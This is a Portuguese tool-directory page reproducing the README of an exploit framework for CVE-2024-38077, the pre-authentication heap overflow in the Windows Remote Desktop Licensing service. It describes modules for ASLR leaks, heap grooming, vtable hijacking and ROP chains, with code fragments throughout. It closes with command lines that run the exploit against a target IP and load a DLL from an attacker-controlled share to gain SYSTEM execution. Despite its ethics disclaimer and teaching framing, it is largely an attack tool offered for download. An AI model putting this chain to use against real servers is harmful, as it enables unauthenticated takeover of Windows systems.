Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-38077-MadLicense-exploit — Framework de exploração modular para CVE-2024-38077 (estouro de heap do Windows RDL) com bypass de ASLR, preparação de heap, geração de cadeia ROP e cargas de injeção de DLL para execução remota de código sem autenticação. | Kitploit
Ferramentas/GitHubGitHub/ermensonx/cve-2024-38077-madlicense-exploit
Frameworks de ExploraçãoAnálise de VulnerabilidadesExploraçãoEngenharia ReversaShellcodeTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de PayloadsExploração de Binários
GitHubermensonx/cve-2024-38077-madlicense-exploit

CVE-2024-38077-MadLicense-exploit

Framework de exploração modular para CVE-2024-38077 (estouro de heap do Windows RDL) com bypass de ASLR, preparação de heap, geração de cadeia ROP e cargas de injeção de DLL para execução remota de código sem autenticação.

Ver Repositório
14há 8 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-38077 MadLicense - Framework de Exploração Completo

📚 Documentação Técnica para Apresentação

Este documento explica cada componente do framework, por que existe, e como funciona a exploração de heap buffer overflow em Windows moderno.


🎯 O Que É CVE-2024-38077?

A Vulnerabilidade

O Windows Remote Desktop Licensing Service (lserver.exe) contém um heap buffer overflow na função CDataCoding::DecodeData.

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  VULNERABILIDADE: Cálculo incorreto de tamanho             │
├─────────────────────────────────────────────────────────────┤
│  1. Cliente envia dados Base64 de tamanho N                │
│  2. Servidor calcula: buffer_size = (N / 4) * 3            │
│  3. Servidor aloca buffer de 'buffer_size' bytes           │
│  4. Decode Base64 REALMENTE escreve: ceil(N * 3/4) bytes   │
│  5. Se N não é múltiplo de 4: OVERFLOW!                    │
└─────────────────────────────────────────────────────────────┘

Exemplo concreto:

  • Input: 4001 bytes
  • Cálculo servidor: (4001 / 4) * 3 = 1000 * 3 = 3000 bytes alocados
  • Decode real: ceil(4001 * 0.75) = 3001 bytes escritos
  • Overflow: 1 byte (mas controlável para mais)

Por Que É Crítico?

  1. Pre-Auth: Não precisa de credenciais
  2. Remote: Via rede, porta 135 (RPC)
  3. SYSTEM: Serviço roda como NT AUTHORITY\SYSTEM
  4. Comum: Windows Server 2000-2025 afetados

🏗️ Arquitetura do Framework

Visão Geral dos Módulos

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                      EXPLOIT CHAIN                              │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│  LEAK    │  MODEL   │  WRITE   │  GROOM   │ TRIGGER  │ EXECUTE │
│ (ASLR)   │ (Target) │ (Where)  │ (Heap)   │ (Use)    │ (RCE)   │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py  │target_   │write_    │heap_     │trigger   │code_    │
│          │model.py  │primitive │controller│.py       │reuse.py │
│          │          │.py       │.py       │          │         │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
          ↓                                              ↓
    ┌───────────┐                              ┌──────────────┐
    │ execution │                              │   payload    │
    │   .py     │                              │     .py      │
    └───────────┘                              └──────────────┘
          ↓                                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                    mitigations.py                         │
    │              (DEP, ASLR, CFG awareness)                   │
    └───────────────────────────────────────────────────────────┘
                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                      exploit.py                           │
    │                   (Orchestrator)                          │
    └───────────────────────────────────────────────────────────┘

📦 Módulo 1: primitives.py - Fundação

O Que É?

Utilitários de baixo nível para manipulação de memória.

Por Que Existe?

Exploits precisam:

  • Converter entre tipos (int ↔ bytes)
  • Gerar padrões para crash analysis
  • Alinhar dados corretamente

Funções Principais

root@kitploit:~
# Pack/Unpack - Converter inteiros para bytes e vice-versa
p64(0xDEADBEEF)      # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141)      # → b'AAAA'
u64(b'\x41\x42...')  # → 0x... (int)

# Padrão Cíclico - Para identificar offset de crash
cyclic(100)          # Gera sequência De Bruijn
cyclic_find(pattern, value)  # Encontra offset do valor

# Alinhamento - Memória precisa estar alinhada
align(0x1003, 0x10)  # → 0x1010 (alinha para 16 bytes)

Por Que Isso Importa?

Problema real: Você causa um crash e o RIP contém 0x61616171.

  • Sem cyclic: "Algum lugar no meu buffer..."
  • Com cyclic: cyclic_find(pattern, 0x61616171) → offset exato!

📦 Módulo 2: leak.py - Bypass de ASLR

O Que É ASLR?

Address Space Layout Randomization: A cada boot/execução, os endereços mudam.

root@kitploit:~
Boot 1:  ntdll.dll @ 0x7FFA12340000
Boot 2:  ntdll.dll @ 0x7FFB98760000
Boot 3:  ntdll.dll @ 0x7FFC55550000

Por Que Precisamos de Leak?

Sem saber onde está a memória:

  • Não sabemos onde colocar payload
  • Não sabemos endereço dos gadgets ROP
  • Qualquer tentativa = crash aleatório

Estrutura do Módulo

root@kitploit:~
class LeakInfo:
    """Container para endereços vazados"""
    heap_base: int         # Base do heap
    ntdll_base: int        # Base do ntdll.dll
    kernel32_base: int     # Base do kernel32.dll
    # ...

class LeakProvider:
    """Orquestrador de fontes de leak"""
    sources: List[LeakSource]
    
    def obtain() -> LeakInfo:
        # Tenta cada fonte até conseguir

Fontes de Leak Implementadas

FonteComo FuncionaQuando Usar
ManualLeakSourceUsuário fornece endereçosLab/Debug com acesso ao alvo
ResponseLeakSourceExtrai de respostas RPCSe serviço vaza ponteiros
TimingLeakSourceSide-channel de tempoTeórico, muito difícil

Por Que Input Manual?

Em demonstrações/labs, você pode:

  1. Atachar debugger no alvo
  2. Ver base dos módulos
  3. Fornecer via --ntdll-base 0x7ffa...

Isso simula ter um leak real, permitindo testar o resto da cadeia.


📦 Módulo 3: target_model.py - Mapeamento do Alvo

O Que É?

Modelagem das estruturas de dados vulneráveis e adjacentes.

Por Que Existe?

Overflow ≠ Exploração. Precisamos saber:

  • O que estamos sobrescrevendo?
  • Qual o tamanho do objeto?
  • Qual campo é útil corromper?

Componentes

root@kitploit:~
class VulnerableBuffer:
    """O buffer que vai sofrer overflow"""
    allocation_size: int   # Quanto foi alocado
    write_size: int        # Quanto será escrito
    overflow_amount: int   # Diferença = overflow
    
    def calculate_overflow(input_size):
        # Simula o bug de cálculo
        alloc = (input_size // 4) * 3
        actual = ((input_size + 3) // 4) * 3
        return alloc, actual, actual - alloc

class AdjacentObject:
    """Objeto que será corrompido (adjacente no heap)"""
    fields: List[StructField]
    has_vtable: bool       # Tem tabela virtual?
    has_function_ptr: bool # Tem ponteiro de função?

Exemplo de Estrutura Alvo

root@kitploit:~
# Objeto hipotético baseado em análise reversa
license_req = AdjacentObject(
    name="CLicenseRequest",
    typical_size=0x100,
    has_vtable=True
)

# Campos mapeados
license_req.add_field("vtable",   0x00, 8, VTABLE,   is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)

Por Que is_target=True?

Marca campos úteis para exploração:

  • vtable: Se sobrescrevermos, controlamos chamadas de método
  • callback: Se sobrescrevermos, controlamos quando callback é chamado

📦 Módulo 4: write_primitive.py - Escrita Controlada

O Problema

Overflow escreve dados sequenciais. Mas precisamos:

  • Escrever valor específico (endereço do nosso ROP)
  • Em offset específico (onde está o vtable pointer)

A Solução

root@kitploit:~
class WritePrimitive:
    def build_overflow_data(self) -> bytes:
        """
        Constrói buffer de overflow com valores precisos
        
        Layout:
        [PADDING até offset] [VALOR CONTROLADO] [MAIS DADOS]
        """
        data = bytearray(b"A" * max_offset)
        
        for target in self.targets:
            # Coloca valor exato no offset exato
            data[target.offset:target.offset+8] = p64(target.value)
        
        return bytes(data)

Tipos de Overwrite

root@kitploit:~
# Sobrescrever vtable
write_primitive.set_vtable_overwrite(
    vtable_addr=fake_vtable_address,
    obj_name="CLicenseRequest"
)

# Sobrescrever callback
write_primitive.set_callback_overwrite(
    callback_addr=gadget_address
)

Por Que Não Basta Escrever Lixo?

EscritaResultado
AAAA...Crash sem controle
Endereço preciso em offset precisoExecução controlada

📦 Módulo 5: heap_controller.py - Heap Grooming

O Desafio do Heap Moderno

Windows usa LFH (Low Fragmentation Heap) e Segment Heap:

  • Alocações são randomizadas
  • Layout não é previsível
  • Heap guards detectam corrupção

A Solução: Grooming

Grooming = Massagear o heap para layout determinístico.

root@kitploit:~
ANTES DO GROOMING:
┌────┬────┬────┬────┬────┬────┐
│ ?? │ ?? │ ?? │ ?? │ ?? │ ?? │
└────┴────┴────┴────┴────┴────┘
Alocações aleatórias, buracos imprevisíveis

DEPOIS DO GROOMING:
┌────┬────┬────┬────┬────┬────┐
│SPAM│SPAM│HOLE│SPAM│SPAM│HOLE│
└────┴────┴────┴────┴────┴────┘
Layout controlado, "buracos" onde queremos

Fases do Grooming

root@kitploit:~
class HeapLayoutController:
    def execute_full_groom(self):
        # Fase 1: Preencher buracos existentes
        self.phase_fill(50)
        
        # Fase 2: Ativar LFH para o bucket alvo
        # (Windows ativa LFH após ~17 alocações do mesmo tamanho)
        self.phase_activate_lfh()
        
        # Fase 3: Spray - criar padrão denso
        sprayed = self.phase_spray(200)
        
        # Fase 4: Criar buracos estratégicos
        # Liberamos a cada N alocações
        self.phase_create_holes(sprayed, interval=4)
        
        # Fase 5: Estabilizar
        self.phase_stabilize()

Por Que Funciona?

  1. Preenchemos o heap com objetos nossos
  2. Criamos "buracos" em intervalos regulares
  3. Quando o servidor aloca o buffer vulnerável...
  4. ...alta chance de cair em um buraco
  5. ...adjacente a um objeto nosso que podemos corromper

📦 Módulo 6: trigger.py - Gatilho Pós-Corrupção

O Problema

Corrupção aconteceu. E agora?

root@kitploit:~
Estado atual:
- Memória corrompida ✓
- Valor malicioso escrito ✓
- Mas ninguém USOU esse valor ainda!

A Solução: Forçar Uso

Precisamos que o programa leia e use o dado corrompido.

root@kitploit:~
class PostCorruptionTrigger:
    strategies: List[TriggerStrategy]
    
# Estratégias implementadas:

class SecondRequestTrigger:
    """Faz segunda chamada RPC que usa objeto corrompido"""
    
class DestructorTrigger:
    """Desconecta - força cleanup que usa ponteiros corrompidos"""
    
class TimerTrigger:
    """Espera timer interno processar estado corrompido"""

Fluxo Típico

root@kitploit:~
1. Primeira chamada RPC → Corrupção acontece
2. Disconnect (trigger) → Server chama destructor
3. Destructor lê vtable corrompida → Chama nosso endereço
4. Execução controlada!

📦 Módulo 7: execution.py - Controle de Fluxo

O Alvo: Hijacking de RIP/RIP

RIP (x64) ou EIP (x86) = Instruction Pointer

Se controlamos o instruction pointer, controlamos a execução.

Métodos de Hijacking

root@kitploit:~
class HijackMethod(Enum):
    VTABLE = 0       # Mais comum em heap overflow
    FUNCTION_PTR = 1 # Callback pointer
    RETURN_ADDR = 2  # Stack overflow (não é nosso caso)

Vtable Hijacking Explicado

root@kitploit:~
OBJETO NORMAL:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data...     │     │ method1 address  │ ← Legítimo
│             │     │ method2 address  │
└─────────────┘     └──────────────────┘

APÓS CORRUPÇÃO:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data...     │     │ GADGET ADDR      │ ← NOSSO!
│             │     │ GADGET ADDR      │
└─────────────┘     └──────────────────┘

Quando method1 é chamado → Executa nosso gadget!

Stack Pivot

Problema: vtable hijack nos dá UMA call. Precisamos de mais.

Solução: Stack Pivot

root@kitploit:~
# Gadget que troca RSP para onde temos ROP chain
xchg rax, rsp; ret  # RAX = nosso endereço → RSP = nosso endereço

# Agora o "stack" é nossa área controlada!
# Cada RET pulas para próximo gadget do nosso ROP chain

📦 Módulo 8: code_reuse.py - ROP Chains

Por Que ROP?

DEP (Data Execution Prevention): Heap e Stack são NÃO-EXECUTÁVEIS.

root@kitploit:~
Shellcode no heap → CRASH (access violation - execute)

Solução: Reusar Código Existente

ROP = Return-Oriented Programming

Encadeamos "gadgets" - pequenos pedaços de código que terminam em RET.

root@kitploit:~
GADGET 1: pop rcx; ret    ← Coloca valor em RCX
GADGET 2: pop rdx; ret    ← Coloca valor em RDX
GADGET 3: call LoadLibraryA ← Chama função!

Como Gadgets São Encadeados

root@kitploit:~
STACK/ROP CHAIN (nossa área controlada):
┌────────────────────┐
│ addr de pop_rcx    │ ← RSP aponta aqui
├────────────────────┤
│ valor para RCX     │ ← Será "popado" para RCX
├────────────────────┤
│ addr de pop_rdx    │ ← RET vai para cá
├────────────────────┤
│ valor para RDX     │
├────────────────────┤
│ addr LoadLibraryA  │ ← Finalmente chama!
└────────────────────┘

Chains Implementadas

root@kitploit:~
# Carregar DLL (DLL Injection)
build_load_library(dll_path_addr) → ROP chain

# Alocar memória executável
build_virtual_alloc(size) → ROP chain + RAX = endereço RWX

# Executar comando
build_winexec(cmd_addr) → ROP chain

📦 Módulo 9: payload.py - Payload Semântico

Diferença: Dados vs Intenção

TipoExemploResultado
DadosAAAAAA...Crash
IntençãoROP + DLL pathDLL carregada

Tipos de Payload

root@kitploit:~
class PayloadIntent(Enum):
    CRASH_TEST = 0    # Verificar se exploração funciona
    DLL_INJECT = 1    # Carregar nossa DLL
    COMMAND_EXEC = 2  # Executar comando
    SHELLCODE = 3     # Executar shellcode via ROP

Construção de Payload para DLL Injection

root@kitploit:~
def build_dll_inject(dll_path: str) -> bytes:
    """
    Estrutura final:
    
    ┌──────────────────────────────┐
    │ ROP Chain (LoadLibraryA)    │ ← Executa primeiro
    ├──────────────────────────────┤
    │ Padding                      │
    ├──────────────────────────────┤
    │ "\\attacker\share\pay.dll\0"│ ← String do caminho
    └──────────────────────────────┘
    
    O ROP chain passa o endereço da string para LoadLibraryA
    """

📦 Módulo 10: mitigations.py - Consciência de Mitigações

Mitigações do Windows Moderno

MitigaçãoO Que FazNosso Bypass
DEPHeap/Stack não-executávelROP (reuso de código)
ASLREndereços randomizadosInfo leak
CFGValida alvos de callsChamar alvos válidos, depois pivot
Stack CookieDetecta stack overflowNão usamos stack overflow
Heap HardeningGuard pages, etcGrooming cuidadoso

Adaptação Automática

root@kitploit:~
def adapt_exploit(config):
    if mitigations.DEP.enabled:
        config["use_rop"] = True      # Obrigatório
        
    if mitigations.ASLR.enabled:
        config["require_leak"] = True # Obrigatório
        
    if mitigations.HEAP_HARDENING.enabled:
        config["spray_count"] *= 2    # Mais spray

🔄 Fluxo Completo de Exploração

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                    FLUXO DE EXPLORAÇÃO                          │
└─────────────────────────────────────────────────────────────────┘

   STAGE 1: LEAK (ASLR Bypass)
   ├─ Obter endereços de memória
   ├─ Input: manual ou auto-leak
   └─ Output: LeakInfo com bases de módulos

             ↓

   STAGE 2: ANALYZE (Target Mapping)
   ├─ Calcular overflow amount
   ├─ Identificar objetos adjacentes
   └─ Determinar offsets de corrupção

             ↓

   STAGE 3: GROOM (Heap Shaping)
   ├─ Fill → Activate LFH → Spray → Holes
   ├─ Criar layout determinístico
   └─ Preparar "landing zone" para alocação vulnerável

             ↓

   STAGE 4: PAYLOAD (Build)
   ├─ Construir ROP chain
   ├─ Incluir strings/dados necessários
   └─ Combinar com overflow data

             ↓

   STAGE 5: CORRUPT (Trigger Overflow)
   ├─ Enviar chamada RPC maliciosa
   ├─ Causar overflow
   └─ Sobrescrever alvo (vtable/callback)

             ↓

   STAGE 6: TRIGGER (Force Use)
   ├─ Disconnect ou segunda chamada
   ├─ Forçar uso de ponteiro corrompido
   └─ Hijack de execução

             ↓

   STAGE 7: EXECUTE (RCE)
   ├─ ROP chain executa
   ├─ LoadLibraryA carrega DLL
   └─ CÓDIGO ARBITRÁRIO EXECUTANDO!

             ↓

   ┌─────────────────────────────────────────────────────────────┐
   │  RESULTADO: Shell reverso, backdoor, etc. como SYSTEM      │
   └─────────────────────────────────────────────────────────────┘

🚀 Uso Prático

Instalação

root@kitploit:~
pip install impacket

Comandos

root@kitploit:~
# Apenas verificar se serviço está rodando
python -m madlicense.poc -t 10.0.0.5 --check

# Dry run (não envia payload, simula tudo)
python -m madlicense.poc -t 10.0.0.5 --dry-run \
    --ntdll-base 0x7ffa12340000

# DLL Injection completo
python -m madlicense.poc -t 10.0.0.5 \
    --dll "\\\\attacker\\share\\payload.dll" \
    --heap-base 0x22345670000 \
    --ntdll-base 0x7ffa12340000 \
    --kernel32-base 0x7ffa12500000

# Executar calc.exe (PoC clássico)
python -m madlicense.poc -t 10.0.0.5 \
    --cmd calc.exe \
    --ntdll-base 0x7ffa12340000

⚠️ Considerações Éticas

Este framework é para:

  • ✅ Pesquisa de segurança autorizada
  • ✅ Demonstrações educacionais
  • ✅ Testes em ambientes controlados
  • ✅ Desenvolvimento de mitigações

NÃO para:

  • ❌ Acesso não autorizado
  • ❌ Ataques a sistemas em produção
  • ❌ Qualquer atividade ilegal

📚 Referências

  1. CVE-2024-38077 - Microsoft Security Advisory
  2. Windows Internals - Mark Russinovich
  3. A Guide to Kernel Exploitation - Enrico Perla
  4. Modern Windows Exploit Development - Corelan Team

🎯 Resumo para Talk

Frase-chave:

"Explorar um heap buffer overflow em Windows moderno não é só 'escrever muito'. É uma cadeia precisa de leak → groom → corrupt → trigger → execute."

Os 9 Módulos:

  1. primitives - Ferramentas de memória
  2. leak - Bypass de ASLR
  3. target_model - Conhecer o alvo
  4. write_primitive - Escrita controlada
  5. heap_controller - Heap grooming
  6. trigger - Forçar uso de corrupção
  7. execution - Hijack de RIP
  8. code_reuse - ROP chains
  9. mitigations - Consciência de defesas

Sem qualquer um desses, não há RCE.

Baixar ferramenta